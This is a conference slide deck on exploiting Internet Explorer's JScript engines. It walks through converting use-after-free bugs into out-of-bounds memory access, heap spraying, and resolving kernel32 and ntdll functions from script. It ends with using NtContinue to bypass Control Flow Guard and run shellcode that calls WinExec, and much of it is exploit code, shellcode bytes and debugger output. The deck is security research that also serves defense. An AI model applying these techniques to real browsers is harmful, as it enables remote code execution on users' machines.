

JavaScript VM breakout based exploiting

Yang Yu (@tombkeeper)
Tencent, Inc.

Who am I

Head of Xuanwu Security Lab at Tencent, Inc.

Focus on Vulnerability: hunting, exploiting and detecting
Wireless and mobile
Many other geek things

<http://twitter.com/tombkeeper>

What is the essential difference between
C/C++ and JavaScript ?

JavaScript runs in a virtual machine

Breakout ?

“Rewriting UAFs”

CVE-2013-0087, CVE-2013-0094, CVE-2013-2551, CVE-2013-3111, CVE-2013-3123, CVE-2013-3146, CVE-2013-3914, CVE-2013-3915, CVE-2014-0322...

And many other UAFs can be converted to “rewriting UAFs”.

But there many “rewriting”:

```
☹ mov dword ptr [ecx+8],  eax
☹ or  dword ptr [esi+8],  0x20000
☹ dec dword ptr [eax+8]
☹ inc dword ptr [eax+0x10]
☹ and dword ptr [ebx],    0
☹ mov dword ptr [eax+4],  0
```

About BSTR

Once upon a time, JScript use BSTR to store String object data

```
struct BSTR {  
    LONG length;  
    WCHAR* str;  
}
```

```
var str = "AAAAAAAA";
```



```
0:016> dc 120d0020 l 8  
120d0020  00000010 00410041 00410041 00410041  ....A.A.A.A.A.A.  
120d0030  00410041 00000000 00000000 00000000  A.A.....
```

Corrupt BSTR prefix

```
var str = "AAAAAAAA";
```

```
0:016> dc 120d0020 l 4  
120d0020  00000010 00410041 00410041 00410041  ....A.A.A.A.A.A.
```



```
writeByVul(0x120d0020, 0x7fffffff0);
```



```
0:016> dc 120d0020 l 4  
120d0020  7fffffff0 00410041 00410041 00410041  ....A.A.A.A.A.A.
```

```
var outofbounds = str.substr(0x22222200,4);
```

* Peter Vreugdenhil, "Pwn2Own 2010 Windows 7 Internet Explorer 8 exploit"

Locate the address of BSTR prefix

```
var strArr = heapSpray("\u0000");
var sprayedAddr = 0x14141414;

writeByVul(sprayedAddr);
for (i = 0; i < strArr.length; i++) {
  p = strArr[i].search(/[\^\u0000]/);
  if (p != -1) {
    modified = i;
    leverageStr = strArr[modified];
    bstrPrefixAddr = sprayedAddr - (p)*2 - 4;
    break;
  }
}
```

* Fermin J. Serna, "The info leak era on software exploitation"

JavaScript 9 replaced JavaScript 5.8 since IE 9
JavaScript 9 does not use BSTR now

So exploiters switch to flash vector object

Actually, JScript 5.8 is still there
We can summon it back

The spell to summon JScript 5.8 back

```
<META http-equiv = "X-UA-Compatible" content = "IE=EmulateIE8"/>  
<Script Language = "JScript.Encode">  
...  
</Script>
```

or

```
<META http-equiv = "X-UA-Compatible" content = "IE=EmulateIE8"/>  
<Script Language = "JScript.Compact">  
...  
</Script>
```

* Some features are not supported with JScript.Compact, like eval().

Summon JScript 5.8 → BSTR trick → ROP

But, is JScript 9 really unexploitable ?

JScript 9 String object spray

```
var str = "AA";  
for (var i = 0 ; i < count ; i++)  
{  
    strArr[i] = str.substr(0,2);  
}
```

```
0:017> dc 12120000 l 10  
12120000 68347170 02f8ff70 00000002 02deafb8 pq4hp.....  
12120010 02deafb8 00000000 00000000 00000000 .....  
12120020 68347170 02f8ff70 00000002 02deafb8 pq4hp.....  
12120030 02deafb8 00000000 00000000 00000000 .....  
0:017> du 02deafb8  
02deafb8 "AA"
```


Array data: JScript 9 “BSTR”

```
var count = (0x80000-0x20)/4; // 0x0001fff8
var intArr = new Array(count);
for(var i=0; i<count; i++) {
    intArr[i] = 0x11111111;
}
```

```
0:004> dc 01c3f9c0 1 4*2
01c3f9c0 6eb74534 031f6940 00000000 00000005 .....
01c3f9d0 0001fff8 0d0d0010 0d0d0010 00000000 .....
0:014> dc 0d060010-10 1 4*3
0d060000 00000000 0007fff0 00000000 00000000 .....
0d060010 00000000 0001fff8 0001fff8 00000000 .....
0d060020 11111111 11111111 11111111 11111111 .....
```

* Internet Explorer 11

Locate the address of Array data length

```
var sprayedAddr = 0x14141414, arrLenAddr = -1;
var intArr = arrSpray( 0x11111111, count, size );

writeByVul(sprayedAddr);
for (i = 0 ; i < count ; i++) {
    for (j = 0 ; j < size ; j++) {
        if(intArr[i][j] != 0x11111111 ) {
            arrLenAddr = sprayedAddr-j*4-8;
            break;
        }
    }
    if(arrLenAddr != -1) break;
}
```

Corrupt JScript 9 Array data prefix

```
writeByVul(0x0d0d0018 , 0x30000000);
```



```
0:004> dc 0d0d0010-10 l 4*3
0d0d0000 00000000 0007fff0 00000000 00000000 .....
0d0d0010 00000000 0001fff8 30000000 00000000 .....0....
0d0d0020 11111111 11111111 11111111 11111111 .....
```

The out-of-bounds **read** will be failed if only enlarge length in the Array data prefix, this is due to JScript 9 will check the length in Array object structure while reading Array data.

```
var outofbounds = intArr[0x40000]; // failure
```

JScript 9 Array data length mojo

But the out-of-bounds **writing** can be conducted, and the length in Array object structure will be rewrote automatically, then we can proceed with the out-of-bounds read operation.

```
intArr[0x00200200] = 0x22222222;
```



```
0:004> dc 01c3f9c0 l 4*2
01c3f9c0 6eb74534 031f6940 00000000 00000001 4E.n@i.....
01c3f9d0 00200201 0d0d0010 0d0d0010 00000000 .. .....
0:004> dc 0d0d0010-10 l 4*3
0d0d0000 00000000 0007fff0 00000000 00000000 .....
0d0d0010 00000000 00200201 30000000 00000000 .....0....
0d0d0020 11111111 11111111 11111111 11111111 .....
```

```
var outofbounds = intArr[0x40000]; // success
```

JScript 9 is more exploit-friendly

- Spray String object itself
- Array is more powerful than BSTR
- Custom heaps, no gaps, less random

New “interesting” objects

Int8Array Object	Uint8Array Object
Int16Array Object	Uint16Array Object
Int32Array Object	Uint32Array Object
ArrayBuffer Object	DataView Object

Make it more easier to read and write memory

* Supported in Internet Explorer 10 and Internet Explorer 11

“Interdimensional Execution”

function GetBaseAddrByPoiAddr()

Even under ASLR, module address is 0x10000 aligned, so we can find the base address of the module according any pointer like this:

```
function GetBaseAddrByPoiAddr( PoiAddr ) {
    var BaseAddr = 0;
    BaseAddr = PoiAddr & 0xFFFF0000;
    while( readDword(BaseAddr) != 0x00905A4D ||
           readDword(BaseAddr+0xC) != 0x0000FFFF ) {
        BaseAddr -= 0x10000;
    }
    return BaseAddr;
}
```

function GetModuleFromImport()

We can read the import table of a module, find out the base address of kernel32.dll or others:

```
function GetModuleFromImport( ModuleName, LibAddr ) {
    var p    = 0;
    var pImport; // PIMAGE_IMPORT_DESCRIPTOR

    p = readDword(LibAddr + 0x3C);
    p = readDword(LibAddr + p + 0x80);
    pImport = LibAddr + p;
    while( readDword(pImport+0x0C) != 0 ) {
    ...
```

function GetProcAddress()

We can read export table, certainly we can write a JS version GetProcAddress():

```
function GetProcAddress( LibAddr, ProcName ) {
    var FuncAddr, pExport, pNameBase, AddressOfNameOrdinals;
    ...
    p = readDword(LibAddr + 0x3C);
    p = readDword(LibAddr + p + 0x78);
    pExport = LibAddr + p;
    NumberOfNames = readDword(pExport + 0x18);
    ...
```

Now, we can do this in JS just like in C:

```
var jscript9 = GetBaseAddrByPoiAddr(jsobj);
var kernel32 = GetModuleFromImport("kernel32.dll", jscript9);
var ntdll     = GetModuleFromImport("ntdll.dll", kernel32);
var VirtualProtect = GetProcAddress(kernel32, "VirtualProtect");
var WinExec      = GetProcAddress(kernel32, "WinExec");
var NtContinue   = GetProcAddress(ntdll, "NtContinue");
...
```

NtContinue()

```
NTSTATUS NTAPI NtContinue (
    IN PCONTEXT ThreadContext,
    IN BOOLEAN  RaiseAlert
);
```

NtContinue can control the value of all registers, including the EIP and ESP.

Value of the second parameter does not affect the main function of NtContinue.

struct _CONTEXT

```
#define CONTEXT_i386      0x00010000
#define CONTEXT_CONTROL  (CONTEXT_i386|0x00000001L)
#define CONTEXT_INTEGER  (CONTEXT_i386|0x00000002L)
...
typedef struct _CONTEXT {
    ULONG ContextFlags;
...
    ULONG Eip;
    ULONG SegCs;
    ULONG EFlags;
    ULONG Esp;
...
}
```

Object operation call

```
0:019> dc 14162050
14162050  681b4534 035f46a0 00000000 00000005 4E.h.F_.....
14162060  00000001 14162078 14162078 00000000 ....x ..x .....
```

```
var n = intArr[i].length; // Trigger a function pointer call
```

↓

```
eax=681b4534 ebx=00000000 ecx=14162050 edx=14162050
esi=02da4b80 edi=00000073 eip=681bda81 esp=03ddab84
Js::JavascriptOperators::GetProperty_Internal<0>+0x4c:
681bda81 ff5040 call  dword ptr [eax+40h]
0:007> dc esp
03ddab84 14162050 00000073 03ddabdc 00000000 P ..s.....
```

One stone, two birds

```
eax=12161003 ebx=00000000 ecx=14162050 edx=14162050
esi=02da4b80 edi=00000073 eip=681bda81 esp=03ddab84
681bda81 ff5040 call dword ptr [eax+40h]
0:019> dds eax+40 l 1
12161043 770ffef0 ntdll!NtContinue
0:019> dc esp
03ddab84 14162050 00000073 03ddabdc 00000000 P ..s.....
0:019> dc 14162050
14162050 12161003 00000000 00000000 00000000 .....
0:019> dt _CONTEXT ContextFlags Eip Esp 14162050
+0x000 ContextFlags : 0x12161003
+0x0b8 Eip : 0x75f310c8 // VirtualProtect
+0x0c4 Esp : 0x14180000 // faked stack
```

Also work on Windows 10 with CFG

```
eax=121200d0 ebx=12120000 ecx=771e3b00 edx=000000ac esi=04eab474 edi=771e3b00
eip=70622fe9 esp=04eab460 ebp=04eab48c iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
jscript9!Js::JavascriptOperators::GetProperty_Internal<0,0>+0x79:
70622fe9 ff1544d4b370 call dword ptr [jscript9!__guard_check_icall_fptr]
0:006> pr
jscript9!Js::JavascriptOperators::GetProperty_Internal<0,0>+0x7f:
70622fef 8bcb mov ecx,ebx
0:006>
eax=0ee3c760 ebx=12120000 ecx=12120000 edx=55555555 esi=04eab474 edi=771e3b00
eip=70622ff1 esp=04eab460 ebp=04eab48c iopl=0         nv up ei pl zr na pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000247
jscript9!Js::JavascriptOperators::GetProperty_Internal<0,0>+0x81:
70622ff1 ffd7 call edi {ntdll!NtContinue (771e3b00)}
```


CFG - Control Flow Guard

```
mov    eax, [edx]
call   [eax]
```



```
mov    eax, [edx]
mov    edi, [eax]
mov    ecx, edi
call   [__guard_check_icall_]
mov    ecx, ebx
call   edi
```

Fake ThreadContext

Pointer to Shellcode
lpAddress
dwSize
PAGE_EXECUTE_READWRITE
lpflOldProtect

← ThreadContext.Esp

```
BOOL WINAPI VirtualProtect (
    LPVOID lpAddress,
    SIZE_T dwSize,
    DWORD  flNewProtect,
    PDWORD lpflOldProtect
);
```

Since we already know the Shellcode address, and we can use JS version GetProcAddress() to provide function address, so the Shellcode does not need GetPC, ReadPEB, GetKernel32, etc. It could be difficult to detect and identify.

“Interdimensional”

	Dimension 1	Dimension 2
	Native	Script
		...
		var OpenProcess = ...
		var DeviceIoControl = ...
		...
	0x????????	scArr[0] = OpenProcess;
	0x????????	scArr[1] = DeviceIoControl;

FF5504	call [ebp - 4]	scArr[?] = 0x500455FF
50	push eax	...

Using C to write native Shellcode

```
struct _PointerTable {
    FARPROC WinExec;
    FARPROC ExitProcess;
    char *szath;
};

void ShellCode(void) {
    struct _PointerTable pt;

    __asm mov ebp, 0xA0000000;
    pt.WinExec( pt.szath, SW_SHOWNORMAL );
    pt.ExitProcess(0);
}
```

Native dimention

```
_ShellCode:
00000000: 55          push  ebp
00000001: 8BEC       mov   ebp,esp
00000003: 83EC0C    sub   esp,0x0C
00000006: BDAAAAAAA mov   ebp,0xAAAAAAA
0000000B: 6A01      push  1
0000000D: FF75FC    push  dword ptr [ebp-4]
00000010: FF55F4    call  dword ptr [ebp-0x0C]
00000013: 6A00      push  0
00000015: FF55F8    call  dword ptr [ebp-8]
00000018: C9        leave
00000019: C3        ret
```

→ 558BEC83EC0CBDAAAAAAA6A01FF75FCFF55F46A00FF55F8C9C3

Script dimention

```
var WinExec = GetProcAddress(kernel32, "WinExec");
...
ptArr[0] = WinExec;
ptArr[1] = ExitProcess;
ptArr[2] = strCalcAddr;
var scStr = "558BEC83EC0CBD" + numToHexStr(ptArrAddr + 0x0C) +
           "6A01FF75FCFF55F46A00FF55F8C9C3";
writeHexStrToArr(scStr, scArr);
stackArr[esp] = scArrAddr;           // return address
stackArr[esp+1] = makeAlign(scArrAddr);
stackArr[esp+2] = 0x4000;           // size
stackArr[esp+3] = 0x40;             // RWE flag
stackArr[esp+4] = stackArrAddr;
...
```

“Interdimensional Execution”

- Script dimension \leftrightarrow Native dimension
- No fixed address, no fixed offset
- Software, OS version independent
- Not only effective for IE or Windows

Know your enemy, surpass your enemy

“While you do not know life,
how can you know about death?”

“未知生，焉知死？”



While you do not know attack,
how can you know about defense?

未知攻，焉知防？



END